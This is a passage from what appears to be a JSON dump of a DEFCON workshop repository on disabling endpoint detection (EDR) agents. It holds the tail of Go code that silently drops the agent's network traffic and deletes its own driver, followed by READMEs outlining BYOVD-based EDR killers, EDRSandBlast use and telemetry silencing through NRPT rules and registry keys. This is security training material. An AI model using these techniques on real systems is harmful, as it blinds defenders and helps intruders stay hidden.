%s\\n\", addr.IPv4Destination())\n\t\t// Don't reinject = silently drop\n\t}\n}\n\nfunc selfRemoveDriver() error {\n\texeDir, err := os.Executable()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdir := filepath.Dir(exeDir)\n\tdriverPath := filepath.Join(dir, driverName)\n\n\t// Delay to ensure the driver is released\n\ttime.Sleep(2 * time.Second)\n\n\terr = os.Remove(driverPath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not delete %s: %w\", driverPath, err)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/README.md",
    "content": "# Custom EDR Evasion\n\nWelcome to Custom EDR Evasion. This module of the workshop has two parts. The first, covers EDR evasion through the method that is used by EDR Sandblast to acheive the priveleges required to disable EDR called BYOD. or Bring Your Own Driver.  Then second part goes over different methods of evading EDR or operation on a device that has it, up to and including the concepts of de-hooking.\n\nThere is a lot of custom code here, most of it is pre compiled, which means you can just use the program without going through the compile steps, but the compile steps are provdied.  There is intetionally more than we will be able to cover in depth, but it hopefully provides you with inspiration, and a good baseline understanding of this kind of malware development.  The intetn is not to hand you fully function advanced malware, but rather to cover the concepts that advanced malware can/has/will leverage. \n\n1. ## [Custom BYOD Implementation](./1-Custom-BYOD/README.md)\n2. ## [Custom EDR Evasion Techniques](./2-Custom-API/README.md)\n\n\n\n\n\n\n"
  },
  {
    "path": "README.md",
    "content": "# 🛡️ DEFCON Workshop: Putting EDRs in Their Place  \n### 💀 Killing and Silencing EDR Agents Like an Adversary\n\n![banner](images/edr_slay_banner.png)\n\n\n- ### [Setup](0-setup/README.md)\n- ### [EDR Killing](1-edr-killing/README.md)\n- ### [Custom EDR Evasion](2-custom-edr-evasion/README.md)\n\n## 🎯 What You’ll Do\n\nEach student will be provisioned their own lab environment to:\n- 🔍 Investigate a live EDR agent: discover its hooks, logs, and reach\n- ⚔️ Compile & deploy EDR killers used by known threat groups\n- 🔕 Silence the agent-to-tenant communication path (shhh...)\n- 🧠 Reverse engineer tool behaviors in real time\n- 🛠️ Write custom C/C++ code to replicate evasion techniques\n- 🧬 Build your own EDR killer and silencer—like a boss\n\n## 👨‍💻 Format\n\n✔️ Hands-on labs in your own hosted VM  \n✔️ Pre-loaded tools, samples, and EDR emulator  \n✔️ Instructor-led reverse engineering and live coding  \n✔️ No filler. Just killin’.\n\n## 💻 Requirements\n\nMake sure you're ready to go with:\n- ✅ A modern browser (for the hosted lab)\n- ✅ Some knowledge of C/C++ (or willingness to jump in)\n- ✅ Passion for pain, pointers, and patchless pwnage\n\n## 🛠️ Tools & Techniques Covered\n\n| Category             | Topics Covered |\n|----------------------|----------------|\n| 🧬 Evasion            | Inline hooking, API tracing, userland stealth |\n| 🪓 EDR Kill Chains    | Process injection, thread hijacking, process tampering |\n| 🛡️ Silencing Agents   | Blocking telemetry, stalling callbacks, tenant comms kill |\n| 🧱 BYOVD              | Custom driver loading, kernel tampering, stealth access |\n| 🔬 RE + Dev           | Dissecting EDR binaries, writing your own bypass toolsets |\n\n\n---\n\n## I. 👋 Introduction (10 min) — *Ryan & Aaron*\n\n- Welcome and introductions\n- Workshop overview:\n  - 🔍 **Our focus:** EDR killing vs. silencing — what’s the difference, who uses these tactics, and why?\n  - 🧰 Tools & techniques preview\n  - 🧪 Structure:\n    - Use and analyze real-world tools\n    - Write your own weaponized versions\n- 👑 Ground rules:\n  - Participate, ask questions, stay respectful, share thoughts!\n\n---\n\n## II. 🧱 Environment Setup (25 min) — *Aaron*\n\n**Goal:** Get your personal lab ready for action.\n\n- 🔗 GitHub lab instructions\n- 🧪 Pluralsight Lab: Setup free accounts\n- ✅ Verify lab access\n- 🛠️ Troubleshooting help if needed\n\n---\n\n## III. 🧠 Introduction to OpenEDR (40 min) — *Ryan*\n\n**Goal:** Understand the EDR we’ll be targeting.\n\n- What is [OpenEDR](https://www.openedr.com/)? Why it was selected? Alternatives?\n- 🧬 OpenEDR internals:\n  - Logging behavior\n  - Detection capabilities\n- 🧪 Run some commands → Analyze logs\n\n---\n\n## IV. 💣 EDR Killing with EDRSandBlast (20 min) — *Ryan*\n\n**Goal:** Use a real-world EDR killer tool seen in ransomware campaigns.\n\n- Overview of [EDRSandBlast](https://github.com/wavestone-cdt/EDRSandblast)\n- 👨‍💻 Code walkthrough in Visual Studio\n- 🔨 Build it\n- 🚀 Execute it:\n  - Run post-exploit commands → verify nothing is logged\n- 🩹 Disable EDRSandBlast → see logs come back online\n\n---\n\n## V. 🕶️ EDR Silencing Methods (25 min) — *Ryan*\n\n**Goal:** Disable EDR telemetry *without killing the agent.*\n\n- 📡 Silencing techniques:\n  - `Add-DnsClientNrptRule`\n  - `GenericDNSServers` registry key\n  - *(If time)* `PendingFileRenameOperations`\n- ✅ Verify agent stays \"alive\" but blind\n\n---\n\n## ☕ BREAK (15 min)\n\nTake a breather. Stretch. Reflect on what you’ve just done to that poor EDR.\n\n---\n\n## VI. 🔧 Writing an EDR Killer (45 min) — *Aaron*\n\n**Goal:** Create your own killer using BYOVD (Bring Your Own Vulnerable Driver)\n\n- 🔍 Walkthrough:\n  - Analyze & edit pre-provided code snippets\n  - Live code augmentation\n  - Compile & test\n- 💀 Use custom code to destroy OpenEDR\n- 🔬 Discussion:\n  - Readily-available tools vs. DIY bypasses\n\n---\n\n## VII. 🤫 Writing an EDR Silencer (45 min) — *Aaron*\n\n**Goal:** Quiet the EDR via code — not commands.\n\n- 🧠 Strategy:\n  - Use API calls to avoid detection\n  - Replace LOLBins with low-noise native methods\n- 🛠️ Live lab:\n  - Modify and compile silencer code\n  - Test against OpenEDR agent\n- 🧩 Takeaways:\n  - Code-level silencing = longer dwell time\n\n---\n\n## VIII. 🎤 Wrap-Up (15 min) — *Aaron*\n\n- 💬 Open discussion & Q&A\n- 🧭 What’s next for Aaron & Ryan\n- 👋 Goodbyes & DEFCON love\n- 💀 #RansomwareSucks stickers and war stories encouraged\n\n"
  }
]